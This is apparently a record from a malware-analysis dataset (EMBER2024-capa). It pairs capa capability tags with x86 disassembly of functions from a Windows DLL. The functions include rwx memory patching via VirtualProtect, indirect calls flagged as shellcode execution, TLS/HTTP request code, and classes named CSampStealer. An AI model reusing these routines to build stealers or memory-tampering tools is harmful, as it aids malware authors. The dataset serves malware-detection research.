joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100042f5
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1000f008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1000f7ca], 0
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov ebx, ecx
jne 0x100043bc
push 0x69
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov ebx, eax
mov esi, str.Initialize_class_first
push 5
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004337
push 0x11
pop ecx
mov esi, 0x1000c9e8
lea eax, [ebp - 0x10]
rep movsd dword es:[edi], dword [esi]
push 0xa
push eax
push 0x21
movsw word es:[edi], word [esi]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0xc
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000435f
mov ax, word [0x1000ca30]
lea edx, [ebp - 0x10]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10004375
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004381
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000439a
mov ax, word [0x1000ca34]
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x100043f8
mov ecx, dword [0x1000f800]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x1000f800]
lea edi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x1000f800]
push 0
push 0
push 0xa
push 1
push dword [ebp - 0x14]
lea esi, [eax + 0x24]
mov eax, dword [ecx]
push ebx
call dword [eax + 8]
mov edx, dword [esi]
add edx, dword [edi]
mov ecx, dword [eax + 0x50]
call edx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000abcd
leave
ret
Function at 0x1000445c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1000f008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1000f7ca], 0
push ebx
push esi
push edi
mov bl, cl
jne 0x10004523
push 0x69
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov ebx, eax
mov esi, str.Initialize_class_first
push 5
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000449b
push 0x11
pop ecx
mov esi, 0x1000c9e8
lea eax, [ebp - 0x10]
rep movsd dword es:[edi], dword [esi]
push 0xa
push eax
push 0x3e
movsw word es:[edi], word [esi]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0xc
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100044c3
mov ax, word [0x1000ca30]
lea edx, [ebp - 0x10]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x100044d9
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100044e5
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100044fe
mov ax, word [0x1000ca34]
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x100045af
mov ecx, dword [0x1000f800]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x1000f800]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [eax + 0x18]
lea eax, [ebp - 0x14]
push eax
mov eax, dword [esi]
add eax, dword [ecx]
push 0x40
push 4
push eax
call edi
mov ecx, dword [0x1000f800]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x1000f800]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [esi]
mov eax, dword [eax + 0x18]
test bl, bl
je 0x1000457f
mov dword [ecx + eax], 1
jmp 0x10004583
and dword [ecx + eax], 0
mov ecx, dword [0x1000f800]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x1000f800]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
lea ecx, [eax + 0x18]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
mov eax, dword [esi]
add eax, dword [ecx]
push 4
push eax
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000abcd
leave
ret
Function at 0x100045be
Capabilities:
Print debug messages

Disassembly:
push 0x128
mov eax, 0x1000bee2
call fcn.1000bdcf
mov esi, edx
mov edi, ecx
cmp byte [0x1000f7ca], 0
jne 0x1000467c
push 0x69
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov ebx, eax
mov esi, str.Initialize_class_first
push 5
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100045fb
push 0x11
pop ecx
mov esi, 0x1000c9e8
lea eax, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
push 0xa
push eax
push 0x4d
movsw word es:[edi], word [esi]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0xc
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004623
mov ax, word [0x1000ca30]
lea edx, [ebp - 0x1c]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10004639
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004645
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000465e
mov ax, word [0x1000ca34]
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
jmp 0x10004726
push 0x114
xor ebx, ebx
lea eax, [ebp - 0x134]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x123]
mov dword [ebp - 0x134], ebx
add esp, 0xc
mov dword [ebp - 0x130], 0x800
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x128], eax
mov byte [ebp - 0x124], 1
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x134]
push edi
mov dword [ebp - 0x20], 0x3e
call fcn.1000677f
push esi
lea ecx, [ebp - 0x134]
call fcn.100067b4
push dword [ebp + 8]
lea ecx, [ebp - 0x134]
call fcn.1000677f
push ebx
lea ecx, [ebp - 0x134]
call fcn.100067b4
sub esp, 0x10
lea edx, [ebp - 0x134]
lea ecx, [ebp - 0x20]
call fcn.100042f5
add esp, 0x10
cmp byte [ebp - 0x124], bl
je 0x1000472d
cmp dword [ebp - 0x130], 0x800
jle 0x1000472d
push dword [ebp - 0x128]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
call fcn.1000bdbe
ret
Function at 0x10006e16
Capabilities:
Get remote cert context via schannel

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1000f008]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov dword [0x1000f854], ecx
xor esi, esi
and dword [ebp - 0x1c], esi
lea ecx, [ebp - 0x18]
push edi
xor ebx, ebx
mov dword [0x1000f850], edx
xor edi, edi
mov dword [ebp - 0x20], ebx
call fcn.10006f4c
test eax, eax
jne 0x10006ef9
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x18]
mov ebx, dword [ebp + 8]
inc esi
mov dword [0x1000fc44], eax
mov eax, dword [ebp + 0x10]
mov dword [0x1000fc4c], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x10]
push eax
push ecx
mov ecx, ebx
call fcn.100070dc
add esp, 0xc
test eax, eax
jne 0x10006ef6
lea eax, [ebp - 0x1c]
mov edi, esi
push eax
push 0x53
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10006ef6
mov ecx, dword [ebp - 0x1c]
call fcn.10007914
push ecx
mov ecx, dword [ebp - 0x1c]
call fcn.100079f2
pop ecx
push dword [ebp - 0x1c]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x10]
push ecx
push eax
mov ecx, ebx
call fcn.10007411
pop ecx
pop ecx
test eax, eax
jne 0x10006ef6
push ecx
push ecx
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
lea edx, [ebp - 0x18]
call fcn.1000756d
add esp, 0xc
test eax, eax
jne 0x10006ef6
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
lea edx, [ebp - 0x18]
call fcn.10007000
pop ecx
test eax, eax
jne 0x10006ef6
xor edi, edi
mov ebx, esi
jmp 0x10006ef9
mov ebx, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], 0
je 0x10006f0c
push dword [ebp - 0x1c]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
and dword [ebp - 0x1c], 0
test edi, edi
je 0x10006f1a
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
test esi, esi
je 0x10006f28
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov ecx, dword [0x1000f890]
test ecx, ecx
je 0x10006f3b
push 0
push ecx
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
mov ecx, dword [ebp - 8]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000abcd
leave
ret
Function at 0x10006f4c
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1000f008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
mov esi, ecx
push 0x1000cb70
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.CRYPT32.dll_CertOpenSystemStoreA]
mov dword [0x1000f890], eax
test eax, eax
jne 0x10006f81
mov eax, 0x8009030e
jmp 0x10006ff2
push ebx
push 0x38
push edi
mov ebx, 0x1000f858
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [0x1000f858], 4
cmp dword [ebp - 0x10], edi
je 0x10006fb4
lea eax, [ebp - 0x10]
mov dword [0x1000f85c], 1
mov dword [0x1000f860], eax
lea eax, [ebp - 0xc]
mov dword [0x1000f878], 0xa80
push eax
push esi
push edi
push edi
push ebx
push edi
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push edi
mov dword [0x1000f888], 0x400018
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
mov esi, eax
pop ebx
cmp dword [ebp - 0x10], edi
je 0x10006ff0
push dword [ebp - 0x10]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000abcd
leave
ret
Function at 0x10007411
Capabilities:
Encrypt data via sspi
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x1000f008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [0x1000f850]
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x48]
push ecx
push 4
push eax
mov dword [ebp - 0x58], eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10007560
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x48]
push edi
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
jne 0x10007468
mov eax, 0x80090304
jmp 0x1000755f
test esi, esi
je 0x100074a6
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007471
sub ecx, edx
cmp ecx, 1
jbe 0x100074a6
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007484
sub ecx, edx
cmp byte [ecx + esi - 1], 0x2f
jne 0x100074a6
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007499
sub ecx, edx
mov byte [ecx + esi - 1], al
push ebx
push dword [0x1000f854]
mov ebx, dword [ebp - 0x48]
push esi
add ebx, edi
push str.GET__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0_r_nAccept:__r_n_r_n
push ebx
call fcn.1000ab4c
mov ecx, ebx
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100074c6
mov eax, dword [ebp - 0x48]
sub ecx, edx
mov esi, dword [ebp - 0x58]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], ebx
lea eax, [ecx + ebx]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x34]
push ebx
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x54]
push eax
push ebx
push esi
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], 4
call dword [sym.imp.Secur32.dll_EncryptMessage]
test eax, eax
js 0x1000755e
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x34]
push ebx
push eax
push edi
push dword [ebp - 0x5c]
call dword [0x1000fc44]
cmp eax, 0xffffffff
je 0x10007552
test eax, eax
je 0x10007552
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x1000755e
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
mov eax, 0x80090304
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1000abcd
leave
ret
Function at 0x10007b66
Capabilities:
Get client handle via schannel
Get inbound credentials handle via credssp
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x1000f008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
mov esi, ecx
push eax
push 0x59
push edx
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10007c36
mov eax, dword [ebp - 0x20]
xor ebx, ebx
mov dword [ebp - 0x34], eax
mov edi, ebx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x44], 0x20
mov dword [ebp - 0x40], str.1.3.6.1.5.5.7.3.2
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0x44]
push eax
push 1
push ebx
push 1
push dword [0x1000f890]
call dword [sym.imp.CRYPT32.dll_CertFindChainInStore]
mov edi, eax
test edi, edi
je 0x10007c36
mov ecx, dword [edi + 0x10]
lea eax, [ebp - 0x1c]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [0x1000f860], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x1c], ecx
push eax
push ebx
push ebx
push 0x1000f858
push ebx
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push ebx
mov dword [0x1000f858], 4
mov dword [0x1000f85c], 1
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
test eax, eax
jne 0x10007bba
push esi
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov eax, dword [ebp - 0xc]
mov dword [esi], eax
mov eax, dword [ebp - 8]
mov dword [esi + 4], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000abcd
leave
ret
Function at 0x10008354
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1000f01c]
push ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
push esi
mov esi, dword [0x1000f84c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1000f814]
push edi
mov edi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [0x1000f838]
mov ecx, 0x33ee0
mov dword [ebp - 0xc], eax
mov eax, dword [0x1000f848]
mov dword [edi], vtable.CSampStealerR3.0
push edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], eax
mov dword [esi], 0x69190
mov dword [esi + 4], 0x69291
mov dword [esi + 8], 0x69298
mov dword [esi + 0xc], 0x26e8cc
mov dword [esi + 0x10], 0x141a78
mov dword [esi + 0x14], 0x26e898
mov dword [esi + 0x18], 0x6ff17
mov dword [esi + 0x1c], 0xf7b0
mov dword [esi + 0x20], 0xf7b6
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], 0x33ee6
mov dword [esi + 0x30], 0x8ba0
mov dword [esi + 0x34], 0x53b90
mov dword [esi + 0x38], 0x121914
mov dword [esi + 0x58], eax
mov dword [esi + 0x3c], 0x33bd3
mov dword [esi + 0x40], 0x33bd8
call ebx
add eax, 4
mov dword [esp], 0x1000f530
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_type_info_name]
pop ecx
pop ecx
mov edx, eax
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edi, str.class_CSampStealerR3
cmp al, byte [edi + ecx]
mov edi, dword [ebp - 4]
jne 0x100084fb
inc ecx
cmp ecx, 0x15
jne 0x10008426
mov edi, dword [ebp - 8]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x1000845a
cmp dword [esi + 0x48], eax
je 0x1000845a
cmp dword [esi + 0x4c], eax
je 0x1000845a
cmp dword [esi + 0x54], eax
jne 0x1000848b
mov eax, dword [edi + 0x26e8dc]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26e898]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26e8cc]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121914]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10008444
mov edi, dword [ebp - 4]
mov ecx, dword [0x1000f810]
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
test ecx, ecx
je 0x100084b3
cmp dword [0x1000f020], 0xe3296d
jne 0x100084cd
mov eax, dword [esi + 0x44]
lea ecx, [eax + 0x131]
mov eax, dword [eax + 0x235]
mov dword [0x1000f810], ecx
mov dword [0x1000f020], eax
push ecx
call fcn.100095c7
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x20], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.10007c45
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR3_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3
Function at 0x10008d00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1000f01c]
push ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
push esi
mov esi, dword [0x1000f84c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1000f814]
push edi
mov edi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [0x1000f838]
mov ecx, 0x34620
mov dword [ebp - 0xc], eax
mov eax, dword [0x1000f848]
mov dword [edi], vtable.CSampStealerR4_2.0
and dword [esi + 0x3c], 0
and dword [esi + 0x40], 0
push edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], eax
mov dword [esi], 0x69900
mov dword [esi + 4], 0x69a01
mov dword [esi + 8], 0x69a08
mov dword [esi + 0xc], 0x26e9fc
mov dword [esi + 0x10], 0x141ba0
mov dword [esi + 0x14], 0x26e9c8
mov dword [esi + 0x18], 0x70667
mov dword [esi + 0x1c], 0xfaf0
mov dword [esi + 0x20], 0xfaf6
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], 0x34626
mov dword [esi + 0x30], 0x8f10
mov dword [esi + 0x34], 0x542d0
mov dword [esi + 0x38], 0x121a3c
mov dword [esi + 0x58], eax
call ebx
add eax, 4
mov dword [esp], 0x1000f530
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_type_info_name]
pop ecx
pop ecx
xor edx, edx
movzx ecx, byte [eax + edx]
mov edi, str.class_CSampStealerR4_2
cmp cl, byte [edi + edx]
mov edi, dword [ebp - 4]
jne 0x10008e74
inc edx
cmp edx, 0x17
jne 0x10008dca
mov edi, dword [ebp - 8]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x10008dfe
cmp dword [esi + 0x48], eax
je 0x10008dfe
cmp dword [esi + 0x4c], eax
je 0x10008dfe
cmp dword [esi + 0x54], eax
jne 0x10008e2f
mov eax, dword [edi + 0x26ea0c]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26e9c8]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26e9fc]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121a3c]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10008de8
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [0x1000f810]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
call fcn.100095c7
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x1c], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.10007c45
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR4_2_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3
Function at 0x10009058
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1000f01c]
push ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
push esi
mov esi, dword [0x1000f84c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1000f814]
push edi
mov edi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [0x1000f838]
mov ecx, 0x34620
mov dword [ebp - 0xc], eax
mov eax, dword [0x1000f848]
mov dword [edi], vtable.CSampStealerR5.0
and dword [esi + 0x3c], 0
and dword [esi + 0x40], 0
push edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], eax
mov dword [esi], 0x69900
mov dword [esi + 4], 0x69a01
mov dword [esi + 8], 0x69a08
mov dword [esi + 0xc], 0x26eb84
mov dword [esi + 0x10], 0x141d28
mov dword [esi + 0x14], 0x26eb50
mov dword [esi + 0x18], 0x70604
mov dword [esi + 0x1c], 0xfaf0
mov dword [esi + 0x20], 0xfaf6
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], 0x34626
mov dword [esi + 0x30], 0x8f10
mov dword [esi + 0x34], 0x542d0
mov dword [esi + 0x38], 0x121a3c
mov dword [esi + 0x58], eax
call ebx
add eax, 4
mov dword [esp], 0x1000f530
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_type_info_name]
pop ecx
pop ecx
xor edx, edx
movzx ecx, byte [eax + edx]
mov edi, str.class_CSampStealerR5
cmp cl, byte [edi + edx]
mov edi, dword [ebp - 4]
jne 0x100091cc
inc edx
cmp edx, 0x15
jne 0x10009122
mov edi, dword [ebp - 8]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x10009156
cmp dword [esi + 0x48], eax
je 0x10009156
cmp dword [esi + 0x4c], eax
je 0x10009156
cmp dword [esi + 0x54], eax
jne 0x10009187
mov eax, dword [edi + 0x26eb94]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26eb50]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26eb84]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121a3c]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10009140
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [0x1000f810]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
call fcn.100095c7
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x1c], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.10007c45
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR5_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3